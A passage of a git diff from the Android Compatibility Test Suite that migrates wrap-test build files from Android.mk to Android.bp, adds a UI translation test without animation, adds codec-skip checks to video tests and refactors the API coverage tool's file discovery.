+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsWrapWrapDebugTestCases",
+    compile_multilib: "both",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "wrap_debug_lib"
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: [":cts_tests_tests_wrap_src"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    manifest: "AndroidManifest.xml",
+    // Jarjar to make WrapTest unique.
+    jarjar_rules: "jarjar-rules.txt",
+    use_embedded_native_libs: false,
+}
+
+java_genrule {
+    name: "wrap_debug_lib",
+    srcs: [":wrap.sh"],
+    tools: ["soong_zip"],
+    out: ["wrap_debug_abi.jar"],
+    cmd: "mkdir -p $(genDir)/lib/armeabi-v7a/ && " +
+         "mkdir -p $(genDir)/lib/arm64-v8a/ && " +
+         "mkdir -p $(genDir)/lib/x86/ && " +
+         "mkdir -p $(genDir)/lib/x86_64/ && " +
+         "cp $(in) $(genDir)/lib/armeabi-v7a/ && " +
+         "cp $(in) $(genDir)/lib/arm64-v8a/ && " +
+         "cp $(in) $(genDir)/lib/x86/ && " +
+         "cp $(in) $(genDir)/lib/x86_64/ && " +
+         "$(location soong_zip) -o $(out) -C $(genDir) " +
+         "-D $(genDir)/lib/armeabi-v7a/ -D $(genDir)/lib/arm64-v8a/ " +
+         "-D $(genDir)/lib/x86/ -D $(genDir)/lib/x86_64/",
+}
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
deleted file mode 100644
index 8743cc4..0000000
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util-axt \
-	androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_arm64 := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_mips := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_mips64 := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_x86 := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_x86_64 := ../wrap.sh
-
-LOCAL_PACKAGE_NAME := CtsWrapWrapDebugTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest.xml
-
-# Jarjar to make WrapTest unique.
-LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_PACKAGE)
-
-include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.bp b/tests/tests/wrap/wrap_debug_malloc_debug/Android.bp
new file mode 100644
index 0000000..9f152f7
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.bp
@@ -0,0 +1,68 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsWrapWrapDebugMallocDebugTestCases",
+    compile_multilib: "both",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        // this is for the src files
+        "cts_tests_tests_wrap_src",
+        "wrap_debug_malloc_debug_lib",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+        "android.test.mock.stubs",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    manifest: "AndroidManifest.xml",
+    // Jarjar to make WrapTest unique.
+    jarjar_rules: "jarjar-rules.txt",
+    use_embedded_native_libs: false,
+}
+
+java_genrule {
+    name: "wrap_debug_malloc_debug_lib",
+    srcs: ["wrap.sh"],
+    tools: ["soong_zip"],
+    out: ["wrap_debug_malloc_debug_abi.jar"],
+    cmd: "mkdir -p $(genDir)/lib/armeabi-v7a/ && " +
+         "mkdir -p $(genDir)/lib/arm64-v8a/ && " +
+         "mkdir -p $(genDir)/lib/x86/ && " +
+         "mkdir -p $(genDir)/lib/x86_64/ && " +
+         "cp $(in) $(genDir)/lib/armeabi-v7a/ && " +
+         "cp $(in) $(genDir)/lib/arm64-v8a/ && " +
+         "cp $(in) $(genDir)/lib/x86/ && " +
+         "cp $(in) $(genDir)/lib/x86_64/ && " +
+         "$(location soong_zip) -o $(out) -C $(genDir) " +
+         "-D $(genDir)/lib/armeabi-v7a/ -D $(genDir)/lib/arm64-v8a/ " +
+         "-D $(genDir)/lib/x86/ -D $(genDir)/lib/x86_64/",
+}
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
deleted file mode 100644
index 06d1d5c..0000000
--- a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util-axt \
-	androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_PREBUILT_JNI_LIBS_arm := wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_arm64 := wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_mips := wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_mips64 := wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_x86 := wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_x86_64 := wrap.sh
-
-LOCAL_PACKAGE_NAME := CtsWrapWrapDebugMallocDebugTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest.xml
-
-# Jarjar to make WrapTest unique.
-LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_PACKAGE)
-
-include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_nodebug/Android.bp b/tests/tests/wrap/wrap_nodebug/Android.bp
new file mode 100644
index 0000000..34f0a5c
--- /dev/null
+++ b/tests/tests/wrap/wrap_nodebug/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsWrapWrapNoDebugTestCases",
+    compile_multilib: "both",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "wrap_debug_lib"
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: [":cts_tests_tests_wrap_src"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    manifest: "AndroidManifest.xml",
+    // Jarjar to make WrapTest unique.
+    jarjar_rules: "jarjar-rules.txt",
+    use_embedded_native_libs: false,
+}
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
deleted file mode 100644
index f7823c5..0000000
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util-axt \
-	androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_arm64 := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_mips := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_mips64 := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_x86 := ../wrap.sh
-LOCAL_PREBUILT_JNI_LIBS_x86_64 := ../wrap.sh
-
-LOCAL_PACKAGE_NAME := CtsWrapWrapNoDebugTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest.xml
-
-# Jarjar to make WrapTest unique.
-LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_PACKAGE)
-
-include $(CLEAR_VARS)
diff --git a/tests/translation/OWNERS b/tests/translation/OWNERS
index a1e663a..6344b5e 100644
--- a/tests/translation/OWNERS
+++ b/tests/translation/OWNERS
@@ -1,8 +1,3 @@
 # Bug component: 994311
 
-adamhe@google.com
-augale@google.com
-joannechung@google.com
-lpeter@google.com
-svetoslavganov@google.com
-tymtsai@google.com
+include platform/frameworks/base:/core/java/android/view/translation/OWNERS
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 34ceb72..ca3c8ca 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.content.Context.CONTENT_CAPTURE_MANAGER_SERVICE;
 import static android.content.Context.TRANSLATION_MANAGER_SERVICE;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_PAUSE;
 import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_RESUME;
@@ -39,6 +40,7 @@
 
 import android.app.PendingIntent;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.icu.util.ULocale;
@@ -79,6 +81,7 @@
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -240,6 +243,60 @@
     }
 
     @Test
+    public void testUiTranslationWithoutAnimation() throws Throwable {
+        final float[] originalAnimationDurationScale = new float[1];
+        try {
+            // Disable animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                ContentResolver resolver =
+                        ApplicationProvider.getApplicationContext().getContentResolver();
+                originalAnimationDurationScale[0] =
+                        Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+                Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+            });
+
+            final Pair<List<AutofillId>, ContentCaptureContext> result =
+                    enableServicesAndStartActivityForTranslation();
+
+            final CharSequence originalText = mTextView.getText();
+            final List<AutofillId> views = result.first;
+            final ContentCaptureContext contentCaptureContext = result.second;
+
+            final String translatedText = "success";
+            final UiObject2 helloText = Helper.findObjectByResId(Helper.ACTIVITY_PACKAGE,
+                    SimpleActivity.HELLO_TEXT_ID);
+            assertThat(helloText).isNotNull();
+            // Set response
+            final TranslationResponse response =
+                    createViewsTranslationResponse(views, translatedText);
+            sTranslationReplier.addResponse(response);
+
+            startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            pauseUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+
+            resumeUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(translatedText);
+
+            finishUiTranslation(contentCaptureContext);
+
+            assertThat(helloText.getText()).isEqualTo(originalText.toString());
+        } finally {
+            // restore animation
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                Settings.Global.putFloat(
+                        ApplicationProvider.getApplicationContext().getContentResolver(),
+                        ANIMATOR_DURATION_SCALE, originalAnimationDurationScale[0]);
+            });
+        }
+    }
+
+    @Test
     public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
         final Pair<List<AutofillId>, ContentCaptureContext> result =
                 enableServicesAndStartActivityForTranslation();
diff --git a/tests/trust/OWNERS b/tests/trust/OWNERS
new file mode 100644
index 0000000..ad48129
--- /dev/null
+++ b/tests/trust/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 36824
+
+include platform/frameworks/base:/core/java/android/service/trust/OWNERS
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 18a59ab..5bd4d68 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/video/Android.bp b/tests/video/Android.bp
index 55eaa74..b41a32c 100644
--- a/tests/video/Android.bp
+++ b/tests/video/Android.bp
@@ -24,6 +24,7 @@
         "ctsmediautil",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "cts-media-common",
     ],
     libs: [
         "android.test.runner",
diff --git a/tests/video/AndroidManifest.xml b/tests/video/AndroidManifest.xml
index 3b25dd5..8cdc050 100644
--- a/tests/video/AndroidManifest.xml
+++ b/tests/video/AndroidManifest.xml
@@ -21,7 +21,7 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
-    <application>
+    <application
         android:requestLegacyExternalStorage="true"
         android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
index d85327c..7f0dea2 100644
--- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
@@ -21,6 +21,7 @@
 import android.media.MediaCodecList;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
+import android.media.cts.TestArgs;
 import android.os.Build;
 import android.os.SystemProperties;
 import android.util.Range;
@@ -166,10 +167,17 @@
 
     static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
             String[] features, boolean isEncoder, int selectCodecOption) {
+        ArrayList<String> listOfCodecs = new ArrayList<>();
+        if (TestArgs.shouldSkipMediaType(mime)) {
+            return listOfCodecs;
+        }
         MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
         MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfCodecs = new ArrayList<>();
+
         for (MediaCodecInfo codecInfo : codecInfos) {
+            if (TestArgs.shouldSkipCodec(codecInfo.getName())) {
+                continue;
+            }
             if (codecInfo.isEncoder() != isEncoder) continue;
             if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q && codecInfo.isAlias()) continue;
             if (selectCodecOption == SELECT_HARDWARE && !codecInfo.isHardwareAccelerated())
diff --git a/tests/video/src/android/video/cts/TestUtils.java b/tests/video/src/android/video/cts/TestUtils.java
deleted file mode 100644
index 8b3ac3c..0000000
--- a/tests/video/src/android/video/cts/TestUtils.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.video.cts;
-
-import static android.content.pm.PackageManager.MATCH_APEX;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.test.core.app.ApplicationProvider;
-
-import org.junit.Assert;
-import org.junit.AssumptionViolatedException;
-
-import java.util.Objects;
-
-/**
- * Utilities for tests.
- */
-public final class TestUtils {
-    private static String TAG = "TestUtils";
-
-    /**
-     * Reports whether {@code module} is the version shipped with the original system image
-     * or if it has been updated via a mainline update.
-     *
-     * @param module     the apex module name
-     * @return {@code true} if the apex module is the original version shipped with the device.
-     */
-    public static boolean isMainlineModuleFactoryVersion(String module) {
-        try {
-            Context context = ApplicationProvider.getApplicationContext();
-            PackageInfo info = context.getPackageManager().getPackageInfo(module,
-                    MATCH_APEX);
-            if (info != null) {
-                return (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
-            }
-        } catch (PackageManager.NameNotFoundException e) {
-            // Ignore the exception on devices that do not have this module
-        }
-        return true;
-    }
-}
diff --git a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
index 662f7c5..38e1b1e 100644
--- a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
+++ b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
@@ -27,6 +27,8 @@
 import android.media.MediaFormat;
 import android.media.cts.CodecImage;
 import android.media.cts.CodecUtils;
+import android.media.cts.TestArgs;
+import android.media.cts.TestUtils;
 import android.media.cts.YUVImage;
 import android.os.Build;
 import android.util.Log;
@@ -673,6 +675,9 @@
 
     private void doTest(String mimeType, int w, int h, boolean isPerf, boolean isGoog, int ix)
             throws Exception {
+        if (TestArgs.shouldSkipMediaType(mimeType)) {
+            return;
+        }
         MediaFormat format = MediaFormat.createVideoFormat(mimeType, w, h);
         String[] encoderNames = MediaUtils.getEncoderNames(isGoog, format);
         String kind = isGoog ? "Google" : "non-Google";
@@ -689,7 +694,9 @@
         }
 
         String encoderName = encoderNames[ix];
-
+        if (TestArgs.shouldSkipCodec(encoderName)) {
+            return;
+        }
         CodecInfo infoEnc = CodecInfo.getSupportedFormatInfo(encoderName, mimeType, w, h, MAX_FPS);
         assertNotNull(infoEnc);
 
@@ -766,6 +773,9 @@
 
             if (decoderNames != null && decoderNames.length > 0) {
                 for (String decoderName : decoderNames) {
+                    if (TestArgs.shouldSkipCodec(decoderName)) {
+                        continue;
+                    }
                     CodecInfo infoDec =
                         CodecInfo.getSupportedFormatInfo(decoderName, mimeType, w, h, MAX_FPS);
                     assertNotNull(infoDec);
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index c46df15..b882105 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -16,9 +16,14 @@
 
 package com.android.cts.apicoverage;
 
+import static com.google.common.collect.ImmutableList.toImmutableList;
+import static com.google.common.io.MoreFiles.getFileExtension;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.ReadElf;
 
+import com.google.common.collect.ImmutableList;
+
 import org.jf.dexlib2.DexFileFactory;
 import org.jf.dexlib2.Opcodes;
 import org.jf.dexlib2.iface.Annotation;
@@ -34,20 +39,23 @@
 import org.xml.sax.helpers.XMLReaderFactory;
 
 import java.io.File;
-import java.io.FilenameFilter;
 import java.io.FileOutputStream;
 import java.io.FileReader;
 import java.io.IOException;
 import java.io.OutputStream;
-import java.util.Arrays;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
+import java.util.stream.Stream;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
+import java.util.function.Predicate;
 
 import javax.xml.transform.TransformerException;
 
@@ -57,20 +65,14 @@
  */
 public class CtsApiCoverage {
 
-    private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER = new FilenameFilter() {
-        public boolean accept(File dir, String name) {
-            String fileName = name.toLowerCase();
-            return fileName.endsWith(".apk") || fileName.endsWith(".jar");
-        }
-    };
-
     private static final int FORMAT_TXT = 0;
 
     private static final int FORMAT_XML = 1;
 
     private static final int FORMAT_HTML = 2;
 
-    private static final String CDD_REQUIREMENT_ANNOTATION = "Lcom/android/compatibility/common/util/CddTest;";
+    private static final String CDD_REQUIREMENT_ANNOTATION =
+            "Lcom/android/compatibility/common/util/CddTest;";
 
     private static final String CDD_REQUIREMENT_ELEMENT_NAME = "requirement";
 
@@ -93,8 +95,10 @@
         System.out.println("  -d PATH                path to dexdeps or expected to be in $PATH");
         System.out.println("  -a PATH                path to the API XML file");
         System.out.println(
-                "  -n PATH                path to the NDK API XML file, which can be updated via ndk-api-report with the ndk target");
-        System.out.println("  -p PACKAGENAMEPREFIX   report coverage only for package that start with");
+                "  -n PATH                path to the NDK API XML file, which can be updated via"
+                        + " ndk-api-report with the ndk target");
+        System.out.println(
+                "  -p PACKAGENAMEPREFIX   report coverage only for package that start with");
         System.out.println("  -t TITLE               report title");
         System.out.println("  -a API                 the Android API Level");
         System.out.println("  -b BITS                64 or 32 bits, default 64");
@@ -150,15 +154,22 @@
                     printUsage();
                 }
             } else {
-                File file = new File(args[i]);
+                Path file = Paths.get(args[i]);
                 numTestApkArgs++;
-                if (file.isDirectory()) {
-                    testApks.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
+                if (Files.isDirectory(file)) {
+                    List<String> extensions = ImmutableList.of("apk", "jar");
+                    try (Stream<Path> files = Files.walk(file, Integer.MAX_VALUE)) {
+                        Predicate<Path> filter =
+                                path -> extensions.contains(getFileExtension(path).toLowerCase());
+                        List<File> matchedFiles =
+                                files.filter(filter).map(Path::toFile).collect(toImmutableList());
+                        testApks.addAll(matchedFiles);
+                    }
                     testCasesFolder = args[i];
-                } else if (file.isFile()) {
-                    testApks.add(file);
+                } else if (Files.exists(file)) {
+                    testApks.add(file.toFile());
                 } else {
-                    notFoundTestApks.add(file);
+                    notFoundTestApks.add(file.toFile());
                 }
             }
         }
@@ -371,7 +382,8 @@
         } else {
             System.err.println(
                     String.format(
-                            "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+                            "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s"
+                                    + " bits",
                             testCasesFolder, bits));
         }
     }
@@ -393,7 +405,8 @@
         } else {
             System.err.println(
                     String.format(
-                            "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+                            "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s"
+                                    + " @ %s bits",
                             testCasesFolder, bits));
         }
     }
diff --git a/tools/cts-device-info/Android.bp b/tools/cts-device-info/Android.bp
new file mode 100644
index 0000000..3196fdd
--- /dev/null
+++ b/tools/cts-device-info/Android.bp
@@ -0,0 +1,92 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsDeviceInfo",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: ["android.test.base.stubs"],
+    jni_libs: ["libctsdeviceinfo"],
+    compile_multilib: "both",
+    min_sdk_version: "23",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+        "mts",
+        "vts",
+        "catbox",
+        "gcatbox",
+        "ats",
+    ],
+    static_libs: [
+        "compatibility-device-info",
+        "compatibility-device-util-axt",
+    ],
+    // Disable by default
+    enforce_uses_libs: false,
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    sdk_version: "current",
+    manifest: ":CtsDeviceInfo_Manifest",
+}
+
+genrule {
+    name: "CtsDeviceInfo_Manifest",
+    tools: [
+        ":compatibility-manifest-generator",
+    ],
+    out: ["AndroidManifest.xml"],
+    cmd: "$(location :compatibility-manifest-generator) " +
+        " -r android.permission.READ_PHONE_STATE " +
+        " -r android.permission.WRITE_EXTERNAL_STORAGE " +
+        " -a com.android.compatibility.common.deviceinfo.GlesStubActivity " +
+        " -a com.android.cts.deviceinfo.CameraDeviceInfo " +
+        " -a com.android.cts.deviceinfo.SensorDeviceInfo " +
+        " -a com.android.cts.deviceinfo.VulkanDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.AppStandbyDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.ClientIdDeviceInfo " +
